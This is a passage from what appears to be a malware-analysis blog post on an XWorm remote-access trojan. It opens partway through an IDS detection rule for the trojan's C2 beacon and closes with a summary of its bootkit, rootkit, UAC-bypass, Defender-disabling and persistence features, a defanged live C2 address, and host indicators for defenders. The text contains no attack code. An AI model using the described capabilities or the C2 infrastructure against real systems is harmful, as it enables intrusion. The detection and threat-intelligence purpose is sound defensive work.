msg:"MALWARE XWorm RAT C2 beacon (TLS on port 25565)";
flow:established,to_server;
content:"|16 03|"; depth:2;
detection_filter:type count, track by_src, count 3, seconds 300;
sid:2026045; rev:1;
)
Conclusion
What started as a routine crypter teardown turned into the most feature-complete RAT analysis on this blog. The crypter itself was trivial, fifty lines of C#, PBKDF2 with a hardcoded password, two AES-encrypted resources. The payloads inside were anything but.
This XWorm build has every capability in the playbook: a UEFI bootkit that attempts BlackLotus-style DBX bypass and LogoFAIL exploitation, an r77 rootkit that injects into every running process, kernel driver infection via PE section injection, a zero-day UAC bypass via WER ALPC (CVE-2026-20817), complete Windows Defender kill via WMI, and five separate persistence mechanisms plus file pumping. The operator enabled every feature flag in the builder. BootKit=true, Rootkit=true, DriverInfector=true, UseInstallAdmin=true. Maximum aggression, zero subtlety.
The “Superiority” campaign tag fits. The C2 at 195[.]10[.]205[.]179:25565 was active at time of analysis. The dual-architecture payload drop (x64 + x86 simultaneously) ensures coverage across all Windows installations. And the Pastebin C2 fallback means the operator can rotate infrastructure without recompiling the payload.
For defenders: the crypter’s PBKDF2 salt (erytiqjdxdutsqckdapnnhprdujedlpd) and IV (xbginlypryzblkfy) are high-fidelity indicators. The registry key Software\gogoduck and the r77 rootkit marker $77config are host-level IoCs. And the task name “Windows Perfoment Host” (note the typo. “Perfoment” instead of “Performance”) is a reliable detection signal.
Tools used: ILSpy (decompilation), pycryptodome (AES decryption), pefile (PE analysis), custom Python extraction script. XWorm family identification confirmed via LEB128 protocol, D/Invoke class structure, and Malpedia reference. CVE-2026-20817 documented from decompiled UACBypass.cs source code.
